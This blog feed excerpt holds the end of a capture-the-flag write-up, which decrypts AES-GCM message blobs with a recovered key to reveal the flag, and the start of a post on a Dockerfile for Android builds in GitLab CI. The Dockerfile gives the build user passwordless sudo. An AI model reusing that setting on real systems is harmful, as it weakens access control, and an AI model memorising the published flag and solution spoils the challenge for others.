<span id="cb13-32">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'b8ffcf2307d6fa67f84be41a1b8ded59d867baef36b9df71502ed32a4a3726eb35e962f3dcb3873f201c5f7a99b97ff6affeccfed8a75d7af6242551ea60523fb06b58e78316b02f053940876456bbe815c9a4de1c932c04e83dd763800ec299638a9573275a6ee748de5b4b9e9faa8e11831d437092d68a1284b58eb0d2bc3c8e2ac737087f182aee0f3d8e69d0f9df2aefb294e0782a9fe06044f29b84ff9c0ff0aaea7ca3ca01d8d2a079268760279309126176923f79795617161b9faf3c6fe0a64a9b3d444168d14c63a6ce9dc849b826ad9f39d67c00b0a455d2026c3447754d89946b3a13484b681cf1dd21edffde499abb3dbb0fa072e1ced10f5ab4945fcdf4440e13d557efeda170e3868d316b3f4d54d3da68bdcbb45a84bcd32e7faaed8072ad824e0707e6fd6ed42da9157c004e5c5335c5de2ead964e3ca1b8a33c66043c8399966df0ee2da0bbfb02a1679e29c19a223d068710c381933ea260b0c2c109afe8abac51f60869a19444b1d7ff51f60b8c1b6a5f85d3dc17d3b65e428d7a09660b5dc31b756c3cb00335392cdcdc780e4e8d37f475f9b70bb064b3b752cf1b4c7fed04510d0ad0aa7f13bc47e7338a149e9936d63ffc8e6e882f3b5542ea93d461bc0c9c74631c3a295fd8f4cad3b8c13dbee517a2e2ee3e5e41a6f296ca47181d2095be111bc27372f431deeb7c4ddccbce36207c431771219de0a5b07b14003d7918c7d5942c5fae1691641986b529ddd430d9c37624874864d6b3bb32ab4c38698448858518d5890b37a6a947a874c2b3070b4ec658f8f91b8ed21c14e91f2b776466742fbdf7d4fad856b40b7d7807bc58abc9a74414bc1fe1179d75e5730746f6e22cf43d7d15e5a666bc2ff6642d151db0d7b0bcade0f1dd117b1d502e49fe4d73e6ec4d65176fc0e1533a3094e1fc2036085d9d92cbd7d5476182408e3d135029eb05142026bfd6e16d21468805f078313a7fdb9f1a7e21ec52cef5cdfc10d330d3ed4014224e0cb4ec59199449bdd335cef9926f7ba32353610869a72cd4d4dbc0fac7bff1aa65ff365f95781aaf2de005ce62881c285818ea8341b79b69a21e8d26e5561ef18da95918a30614d42170f9bbc96275518a42de1807b475853d03fce84d9c31f79525c3ee65d496a1d9b2904167d2f8f32d2bc1bb6e2658869b825a8749c111044f0c9ae5e5866dd95d88094e748f89358d92454e2a409c8900d649eb7f057557f7b405e108055a6b1d5668ebd420aa503bf64c154a2be85e7ad7cf10eed28ad0598f1fddbcc3792e92b5dd52448bf5d41fb064f678123ec671b98e05cbda205d2fff7f6031207e74ee967e07e0eef107cdb5a2e913e212f7cecf4ee03e54d1267187b12593ae67cd2bae435cf61d855fd271ea8b5acf5c4d727657310d5df0dd591df2a965ec127dfe0189b56c403f8f7c4def3f3e90d38dafa4a925b5e79d689e25310b870477b0ccb3bab04fa66d5bd87ebae28bc734a85e097a2204b82b9e28de9c88c3e702b2bacffc6fcacc16382fb8f725d3f4250763efeda9d261a0198be3d13826f1181a4b11e1c7d29eb32b4142822f13f48acc1d52d302ec823960578a5b029560eae0fe9f5d71dd86b408b09130caade1eb4628732075e45859f627d2c749e85a08f0040b04d95b91d7ef0da3785a612d7dd276a9289929df85571fd03dc7a5e08b43f6cfde46519b8fbde511b949e6cc53f1de14f48c0bc26ab941602d9230968817adacc0b24bbd2387893276aea55851ea74040a44bf39d9b1a2415c02b2f81f80abee5b74a44e185f66f96a10514515e2670ca01530a10279a59b1bba3ae9bc41f31912f983864840a83d35ebef78a31cdff95f09d8cf064525df77e5818d4cbc8b8c6bf2bd32bc377b6288cb9e302cc7bbdc50e113d862032e90cb393c6bf818f4e53cc1886748472620dceecc8574b7a599cdc4cd3fccfb5287b847cddaf8167bc45f5397153858ccf5a432273be7b134f609a7d7435d11aaf63917f4d384d1fca1b54288d747488d165e2c565da23a34cc6b9b740dff98e547a8163374ac98d376a3854312c37e5a43d9b71fc4310a5c7c9449c1aef277200bf6979a439ae970c67b8fc253156f81a61f0e89e0d4d3822aefef0da3657fedd479fc2476a3ba79c98de90bb397d8f37ba644b7e53c3fc79faf66a2efab9e855da077b48d55ec3772fe58d5c194addebd364e1fc4eec587fb5f2963b3d137a7ee7393e74af524580fa45495f8d123b350b63cf0aa4fe05ded31a72966f26e467acd7cc36b976faa3b304d1ad38573d3e46408747091b5b173869c997d0ce5d7ea5d580905b6effb2f9cd75a185b18b3ee9775aeef613e720cf23a3000f03ff881e2029f3f8c02a7f0ce6e4c0b09617cbc814dcd3e83eaae5be70a1b518aeb24818bbf764182aa461b1105b7a876a20f3b6debce953d5a3a3194c960049a4bc5c1ed006ffa0c7d0f05879d9e984395ca0712bdfab4ecb32207ac74ce724a90317bbbeb76492c6fdc82ed7c2c9c17eebed8ac41213d06822a437a88c87c9ff14521bf25d17293fc3b4867c4a54ac96cc5a02835f8e1fdc2545e7016cb940dc48194f20fcae1fce06d2c46d464311c2a6fc823ac0c662ae62d00048f9ef126f7012a7430f34f9ae0b941104688344596a850bd3e0e501789a2639236e403c860b8450fde0f3928e0f855e47708feb08a6ccf78183a12ae94d7c5bd074dba42105f667ab2e158d35790e1be5d8d26f2bd866507ce8cca75adcf64c343c61ce40ae656fa20f8b6d00f6659a96dd37245069523b23c3c93e982910730191bff29284edb53737415b6c61887113c6d91bdea5ed9a3dc6dd2ef24767fbac3e6f64ce3ed62aa47313e5bfa616df0a07ac9bb723932f73e58b9fe3b13886e1023a28318b0c3c24c396afa48f73840ff22a89ffdc7609d23626a62590414d116aa9816520f7110674239c0c10eab119b6363b64233013ed693dee3be401b3caf54a96ba618d53f860b05d90753d2d47ab51a406e1afd82010c0a1d3eb6f67d2fa603f925f8aef9b35bc82f742ff131b1883bdbfc88234fb969dd2fe51901ce4bd420cc1c6d43ac3dbdf0fbcecbecc6422f567eb38ce7a1583b2a66e5d986d1acfab34009e43345f9333bcc67ac966709bc2c0f33c969993a3a5dd8f35dc576d170f41078cfd41582e4d9696550513b4bab5764faa39ab56d39c13f7b503c12feff8d9c8552189503cca9da9e0b41c9f07ade8bbf264fe335c9348f0d7c03e000df3b3c5af5f100f06e3d83031a2e3b6924c571e4c9de25fd2c5880651804dddda6e1922cba5f1fd61e9867780569ee2ca164a5c5fac282d9daf0689d98bedb2717443a2fcd5dab1cac907178bb440e0481955233e4349696fe7354f08cbad4a3228af62117634a9f5d2cc1bc0d817f05bd04c0aa55d66293213c42c3596ac090d439e615274818adc229531a1ce3c6cff48aec7eb120a74824b6ab2c84261f3b63a958efcf398481ef2608a063dbb9c00ab7b50fe6fd330ab7ae8b365e485eef7b88a4c2f9533d397140789acc6316972782844ab8ffa67cbdc171c11609d948263b69b7970c35f7d2d189e8138a61a3a25902d108a0911eb2c0dbaf'</span>),</span>
<span id="cb13-33">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'2db15aedfbab2f6495afbc675caa45c03b493674c52111a49c12bf1f41c2f9e423a867aaf6884ce3'</span>),</span>
<span id="cb13-34">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'2196b9726c6f0247a2d3f0e773b3b5ce89c84f8eead9b28c31261b768c9d81817acedb1c2dfbc593f8922b1f78dc204a58f94a0035212e19f703f4ab8ca71de2e64fc1181b90078605044cb8166e6235021d2494567f0000b55ca2023d5a46dfd8ec5098060e67efb619dccebcf1012e8589b61e6b1d9ea23b4478fe606a7b4e74c346317d5a005a6043680996b5de2af9c99926fc0a038a70a3d8699d6769494cb1d6c27164d2085b7a386b635ec15366d9d8591fe8acd6203abd961b6ffb24c3b226588fd3f4d66dac5a2b01acaac05d584e36ab0deec9f8890494cda850dfe4573ba67b3b7fbbff8fc6a13e118af7f1867d799e330e394c2c80419c61050bf18135ebf3f4fca0e3081dee4665fe4ccff4618aa54e4fd74a3ad88e95237f1d944da5b441af7c02d67b53bbee5c80d20a54f53c69503c82ee993e'</span>),</span>
<span id="cb13-35">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'55ac581a1a864a1513bd95d669056ac2b397d8c392ff63375d38968dcfde84e9f89c4785a3e6477e2c4d19'</span>),</span>
<span id="cb13-36">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'c42ca8ba5dc905bd51345a3abd803f280ed3cf58e4af954934c2471151fd438b0c3ab15de3153b699a562fc85b6e8e4bfe4ac08784480cdefd70d003ac790dca1f93b2427000f903a9a3ef5c764e95523d5b3bcb2cc5a826370eabc727e56c316745f515f3062fffb8342e73dd4b63088349ca8ce455db8ff9f27286eb5d9ca53c0f1e1d16c9b60acb8aac7881a631be250035c95b1079123064840fea04ddf3a6daf322211a9624364bd1f620519d20381417c68b09dc28073442e42555dd5979391edb0d66fc0335576964fdb7d45e42bae7a5b05064df95ec18a09f7b291fa423ffd794d73ddd2b3951d305588d834eac1f16a9788d267175272b5dacb0a92d6d284e651b697ddb371996627f78b6c44e77646c66e0e475b552c426565fb118dc00ec7b306ae11f2701562fe2e13dff022e88bc7070554eabd8b18a9340c3b6c33f809661fad85a814dcdf3956db7f0e35269fb59f044d709be0517b591dc063bbfe845bdf81c7ae90b946e96ec00ab546afe1bd44b9a2084be0f9f9da1cb88ae2d4aa35e346212c8aadf5b6f98155784009b5df72e0511bc68ab71b81469c6f7068b9a91341533bfd523dbffbf1f8883a31c1e9a3d46058e4e693d9aa01dddff16e817a2baa6c8bdf7dc21bc663aa6340598f180621f2ff871b0f556fc8e47bd0b342de8560d7afe17de99059d7d6b7be7d372b156396b6e564002bf96448d34c7bba32161b74376007079e4c4a5f6d828f92c0db6974d22e6e61bfc1255b58d6a083c3df3b03144158e00da62662a1c6d57d9e67ef295c4a553effc413f02d51e0a496f131113ffa61902efa71ce9847156ed829d3769fb86d394efa5dea6ab450d3439648c3a20a94e67c36dab86873a6d7b7ae366136e6cd3b73b47a8357d4932b98b45b01427cdeda506b31ff3718d3378256577ebbad2cfcc1907b36a53d109ecdb3a49f40fa417a1c4f9b415991fa282828b4c81e30da064764ab8e996c385e8120c2f0304e613810700eab1d569e1a8fa731a176b1da044e9e61e88a724e335e20861f27e74fc431706233780411d098f846e233897363d0d4ee064bc523e194809792865754ca2b00b9079b70700dd2fdaa9eebef7f8d582714b1fed7c196ce9db0bfe469580a51a90bbeb89138ee31db417d9b740bc1ca1c0fad1caa60c7911b04f4b2c50e00a82f5452a2776582161dcc936b8159da455ab6f69e891d61d34d5870dc6678bda3a7e5e177f088d7af75e3f868e1dff292c0adb9d4ce4c3ccf8bddf3d6b19f1a8344555dc0337292ffaba9c0b1f82b39105d2d9e950fde61c329289ff0559696e0ef129dc988743b0a95a66e1d02cf79084ee69a82f6a72ff00febf8c48b7837e75f46ef066a4810fb5b7f83c2b6286e2ca4da4364dda272afe1f12150378de5efef75b501cfdcf04d11fa2e694dd123d5416466884b9a0f6438b77231b965ba5fb5c4fc03056a319cbcbfccc1f976f927959dfe5e11fc1210e07334060c7087e1352df5aa99489c3a7671eb2b2331d4c7be115f874dd164336599b8acc247b60b43c25728899d339cc1985eaf301961a505c9c6aeb55babbb82eda5c3a0ab5207673b37f1530f386f619392142ad91c01176157612272e1a3e8b4a9fcd32db8ece41345293aa05fff3efa34efeb7821404dba17800c8f50ffc7786825fe3f1df3a3812579b67126028912edb1c62711a5c8445296c2eeb964c9adea52a7119988d278e940f9db3a7894804f384e88d4935cd0e18e295c6672dc4d8bf99a0203b3c763c6a834fcb3c2faf4e39db4db74c780734b48b61b8a35097453db08e95414b2261917262771d6d1a36c45ae5a4656fc072075522a610d41291bbe6c7d6b45be2fcd031af2b4383c0a4a4d93709b636d944737793b24f74fa7215b78ce80ac98e571643ddafa5e3597e5f625f89f59ff6ff83f6b0cc92ded8e48cf615ccc2f2114f059016020e687af9a4fa2f3beaa288eb6975a4c6adeadae493a3b8c0fce2569cc977d08c082d3c0e8ec7e80008a88a677b12cc9f26bb161c808b204cceff3c01a5e5c21161680119a72e0dcf7adc0fb73528b8274f8ff846e5ad7e4fe7043d5f7641be086294b2354991c56648a9e8d77fc4b861b0a2c749dfd81759334c31f31693e265b89285c0bcd9295ceae0dcdb4ca9d1e390b692ebefd27068f3243a081c3b7b87fe29bff99df125468a3643d6a6a4affc3312e885337f49bde4edb6e3baa1d8e1adabb19a22622dc8d79e87a77532a6dde31c31ddcef4d6'</span>),</span>
<span id="cb13-37">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'0795cb3178bf69c87bdbab269a0b512a025229157985226ba9a3bb899e6f6697b49af144ca13c4876e23974bf701f683b5'</span>),</span>
<span id="cb13-38">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'9108e7344aaedb313986a0962957c82ff1b7f694233957b255de910da50e783b275d75f115d061ce41389b5bcf1f499fe2f77720a39475a9ad883fb9f165fca99959697c6c6d5f5061cf8320b34b3cb9040a05cb7e0a5f0b53b0511d5510aafa33a623bafa1b90455b0a389c0cb774334c8780e755fdb0036ac57a840498755e3f941367cc169375c2cf94532b3f8f4fbd9146cba23691e5708a6bb76de3019e4a5ea456af820f49bec822943cfbb9768bbeb1df5c06685e4319df7d8318bbfdc0a6dcd8f39c9d79822ddb3f5e4d8af66c9e134cc03e9b0b749901b0b58275af5967b3f15939321ac7f0a7df86c4b42e931bc8766de9c1c7777b021c56cd2482ecb3842e4e509b310c71a8f37679e7775857559075198de8d78d7907e834d591f6cb045e174458505a82411899d1e2f112ae299f70831df02112eda56b38bd73d4e5edab6080e3955ce18a1ea294920776d71a79cc347f0b57f499fb6a5cbb8335b6250109528b779828f93938c5ee428c1e43624c839841b2020d2ebdf8a8a926568e24cc3f3db917cc96e0ff92866f50a8551e7b408d7b82494da4b007fd99fc574c9a7d09a80144114bc88e2ce65fb3e29cf967f51a75b2f4e1b84ee72c46a1945f41b732872edb93d9883a82c027a88b51ba2a98446fa5b243b439ca67cc1f1a154c8042b136ab183b355a371cd3d19a1e1e137df9fb79ac1ff77befba0312a7d993a9925aaf8f0501b4121dd50e9fb96958ac217e0bec812350507e9f6a4cc15aff29f1fa0fb4f6fc454e18a914e740853fafe58be9759caa4feb50786aa16fd7199b4006bbcc17f60bdd35834cc8a9cc7d107251a3c637d9b10442717c4f9311556395398e00ff5f6cb146f7074eb1492c092811ed0faeb6ad9acdde9ba002ee253b61440507c2f509fd784931b77ca6bf13b4cd1e873b2f333d'</span>),</span>
<span id="cb13-39">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'4da5886f424edcd0add35b27ac40cdfe56ebb6436bb103cccda381b463b7ca1461aa46ac7417bd418c8c5abcee1b4c561f979e26d2d1f0'</span>),</span>
<span id="cb13-40">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'06d88d5596b7adb80f542e18ecfd22b1e723be700c176490823a9b7742b1e7729545bc74f9ffad3f3376b77209a9982b24cd1c006cc112cb280b633f93cf91c65e343104b3d5e3f89573861520d183a17f45aea2e880c11a9856b0626e660bcafb2e4c8fa9465c7d4308a612821b8593048d937bd502ef710d2bead1d2ba336bdf5713f3806e27af4d471dc31a3a419eeab9595e3771b43b12d0e81652a3584e8b95b3e5ab9953f9e0486a215d0e55c1b6649b587780b526a63a6959e5b4eac5fb4051336957d07664ba5ac345eb310b8035fae079465d9907cd40cfe8b3a1942f336181426368a81e419641209f8662160a2e84412a812e9134c1dc634c39e414f79ad16a7b379be0bc58b146979f0c652eb823b7d32557c6774bb815619629103c48f8283ce7e61d34fa9ef3e862ad256d185c32b0a5f05256dff57cc68ac2e6bc572cf472a239dc9d52e96586a34e625d235f8a25f76099478ab5aeaeae13f279703c648bef26ce41468be29380649dedff1742a6cbf7f3622d140b1e8f8f96ce43f39b32f5bea2fdac04991882184eb122c984b7c30799e3eee4ada346fdf1cd32a76e19c9eead5a7fbf2dba7268'</span>),</span>
<span id="cb13-41">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'f14388c157f9df8cf84f854e2ad4d915ed75145340d57d037f118fca904b5ab98b2d2cc2ad548913eb1c52c0e028869b9d08be8110bd40b5b0f69edc35'</span>),</span>
<span id="cb13-42">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'a304902118d64673d9ba1f1472c39f4ddcd1624bac7e997c0091b8abdcf32fcd681f941eb2ad52163cba1fd0cf2c94f72ce3a93442fa9c0de7837cd485'</span>),</span>
<span id="cb13-43">]</span>
<span id="cb13-44"></span>
<span id="cb13-45"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> m <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> aes_msgs:</span>
<span id="cb13-46">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb13-47">        nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> m[:<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>]</span>
<span id="cb13-48">        tag <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> m[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>:<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>]</span>
<span id="cb13-49">        ciphertext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> m[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>:]</span>
<span id="cb13-50">        <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(decrypt_AES_GCM(aes_key, nonce, tag, ciphertext))</span>
<span id="cb13-51">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Exception</span> <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> e:</span>
<span id="cb13-52">        <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(e)</span></code></pre></div>
<p>Most of the messages are not particularly interesting, except for the last one:</p>
<pre><code>undut{Qu4nd0-Qu4nd0-Qu4nd0}</code></pre>
<p>And there it is, the flag: <code>undut{Qu4nd0-Qu4nd0-Qu4nd0}</code>!</p>
</section>
<section id="final-words" class="level1">
<h1>Final words</h1>
<p>As always with CTFs, the path to finding the solution is never straightforward. This writeup is just the steps to actually solve the challange, but the path to get here was long and full of dead ends and head scratching.</p>
<p>Again, thanks to the organizers for the great CTF and thank you for reading this writeup! I hope you enjoyed it!</p>
<p>If you have feedback or questions, feel free to reach out to me on <a href="https://twitter.com/mrolback">Twitter</a></p>


</section>

 ]]></description>
  <category>undutmaning</category>
  <category>ctf</category>
  <category>undutmaning-2024</category>
  <category>writeup</category>
  <guid>https://olback.dev/posts/2024-03-24-undutmaning-raring/</guid>
  <pubDate>Sun, 24 Mar 2024 00:00:00 GMT</pubDate>
  <media:content url="https://olback.dev/posts/2024-03-24-undutmaning-raring/raring.jpeg" medium="image" type="image/jpeg"/>
</item>
<item>
  <title>Building and shipping Android apps with Gitlab</title>
  <dc:creator>Edwin Svensson</dc:creator>
  <link>https://olback.dev/posts/2022-05-04-gitlab-android-ci-cd/</link>
  <description><![CDATA[ 





<section id="first-of-all-why" class="level1">
<h1>First of all, why?</h1>
<p>Because we’re lazy! Well, that and we care about a standardized and reproducible build environment. Using <a href="https://docker.com">Docker</a> images to build our app gives ous just what we want, a reproducible build environment. Images are built once and re-used whenever we build our app. Every single build is the same as long as we don’t alter the image version.</p>
<p>Not having to manually create a release and ship/upload your app is not only nice and convenient, it makes it easier for someone else to take over after you assuming you’ve actually documented the pipeline.</p>
<p>The inspiration to write this post came from seeing Gitlabs own post <a href="https://about.gitlab.com/blog/2018/10/24/setting-up-gitlab-ci-for-android-projects/">Setting up GitLab CI for Android projects</a>. This post is great but four years old, which means that, of course, Google has had plenty of time to deprecate some of the tools used.</p>
</section>
<section id="the-docker-image" class="level1">
<h1>The Docker image</h1>
<p>To build an Android app we usually use Android studio. This is rather convenient but a headless server doesn’t handle GUI applications very well. Instead, we install the Android SDK and the tools that come with it.</p>
<p>We’re going to start with our base image, in this case <code>openjdk:jdk-11</code>.</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb1-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">FROM</span> openjdk:11-jdk</span></code></pre></div>
<p>Next, we’re defining some arguments/variables to easily update the tools later. The default values here can be found by running <code>sdkmanager --list</code>.</p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb2-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_COMPILE_SDK=32</span>
<span id="cb2-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_BUILD_TOOLS=32.0.0</span>
<span id="cb2-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_CMDLINE_TOOLS=8092744 <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># https://developer.android.com/studio#command-tools</span></span>
<span id="cb2-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_NDK=24.0.8215888</span>
<span id="cb2-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ARG</span> ANDROID_USER=android <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># User to run the build, can be whatever really</span></span></code></pre></div>
<p>Our next step is to update the image, install our dependencies and add the user.</p>
<div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb3-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> update <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span></span>
<span id="cb3-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> upgrade <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span></span>
<span id="cb3-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">apt</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> install <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--yes</span> wget tar unzip lib32stdc++6 lib32z1 sudo</span>
<span id="cb3-4"></span>
<span id="cb3-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> /etc/sudoers.d</span>
<span id="cb3-6"></span>
<span id="cb3-7"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">groupadd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--gid</span> 1000 <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb3-8">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">useradd</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--uid</span> 1000 <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--gid</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--shell</span> /bin/bash <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--create-home</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span></span>
<span id="cb3-9">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'${ANDROID_USER} ALL=NOPASSWD: ALL'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> /etc/sudoers.d/50-<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span></span>
<span id="cb3-10"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">USER</span> ${ANDROID_USER}</span></code></pre></div>
<p>Add our to-be-installed tool paths to our <code>PATH</code>.</p>
<div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb4-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> ANDROID_HOME=/home/${ANDROID_USER}/Android/Sdk</span>
<span id="cb4-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/cmdline-tools/latest/bin:${PATH}</span>
<span id="cb4-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/platform-tools:${PATH}</span>
<span id="cb4-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">ENV</span> PATH=/home/${ANDROID_USER}/Android/Sdk/ndk/${ANDROID_NDK}/toolchains/llvm/prebuilt/linux-x86_64/bin:${PATH}</span></code></pre></div>
<p>With all dependencies installed and our user created and switched to, install the Android toolchain.</p>
<div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode dockerfile code-with-copy"><code class="sourceCode dockerfile"><span id="cb5-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">cd</span> /home/<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_USER}</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">&amp;&amp;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mkdir</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-p</span> Android/Sdk/cmdline-tools</span>
<span id="cb5-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">WORKDIR</span> /home/${ANDROID_USER}/Android</span>
<span id="cb5-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">wget</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--quiet</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">--output-document</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>android-sdk.zip https://dl.google.com/android/repository/commandlinetools-linux-<span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">${ANDROID_CMDLINE_TOOLS}</span>_latest.zip</span>
<span id="cb5-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">unzip</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-d</span> Sdk/cmdline-tools android-sdk.zip</span>
<span id="cb5-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">mv</span> Sdk/cmdline-tools/cmdline-tools Sdk/cmdline-tools/latest</span>
<span id="cb5-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">RUN</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rm</span> android-sdk.zip</span>
<span id="cb5-7"></span>
<span id="cb5-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Install SDK parts</span></span>
